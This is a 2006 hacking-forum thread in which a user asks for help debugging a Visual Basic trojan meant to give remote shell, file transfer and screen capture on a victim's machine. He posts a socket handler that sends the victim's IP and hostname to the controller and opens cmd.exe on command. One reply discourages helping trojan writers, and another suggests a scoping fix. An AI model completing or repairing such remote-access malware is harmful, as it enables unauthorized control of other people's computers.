Follow us on Twitter!
Capitalism is an Island of wealth in a sea of poverty
Thursday, April 24, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 23
Guests Online: 22
Members Online: 1

Registered Members: 82889
Newest Member: Geriztul
Latest Articles
View Thread

HellBound Hackers | Computer General | Programming

Author

vb trojan help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 24-10-06 04:03
im making a sin trojan in visual basic. i have the connection all set but im having trouble with options. its going to be a basic sin with only remote shell, file tranfer and screen capture.

for the moment im working on the remote shell. it seemed natural that before i can get an output of dos i must first run it on the victim. the problem im having is that the compiler keeps saysing the sub or function is not defined although i declared it

here is the the part its giving me trouble with

Code
Private Sub ServerSck_DataArrival(ByVal bytesTotal As Long)
Dim SData As String
Dim All_Data As String
Dim Comamnd As String
Dim Multi() As String
Dim Temp_String As String

ServerSck.GetData SData

Comamnd = Left(SData, 6)
All_Data = Right(SData, Len(SData) - 6)
Multi() = Split(All_Data, "[#]")

If Comamnd = "SrvDtl" Then
Temp_String = "SrvDtl"
Temp_String = Temp_String & "[#]" & ServerSck.LocalIP
Temp_String = Temp_String & "[#]" & ServerSck.LocalHostName
Temp_String = Temp_String & "[#]" & "No Details"
Temp_String = Temp_String & "[#]" & "Evil_Inside"

ServerSck.SendData Temp_String
End If

If Comamnd = "SndMsg" Then
MsgBox All_Data
End If
If Comamnd = "OPN" Then
ShellExecute Me.hWnd, vbNullString, "WINDOWS\system32\cmd.exe", vbNullString, "C:\", 1
End If
End Sub




and here is the declare function im using

Code
Private Declare Function Shell Lib "SHELL32.DLL" Alias "ShellExecute" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long




thank you in advance for any help


Edited by on 24-10-06 04:03
Author

RE: vb trojan help

Uber0n
Member



Posts: 1963
Location: Sweden‭‮
Joined: 13.06.06
Rank:
Hacker Level 3
Posted on 24-10-06 06:28
Hmm you know that most people who write trojans and viruses don't get any help here, right? :right:


img230.imageshack.us/img230/724/uber0nsig3hj6.gif
http://uber0n.web. . .
Nope http://uber0n.webs.com/
Author

RE: vb trojan help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 24-10-06 09:57
lol if you put the declerations in a module, or if they are within the form..
if you declared it in the form, change the Private to Public..
and if you declared it in a module, just remove the Private and put something like:
Dim VARIABLE As TYPE.

That should do it Pfft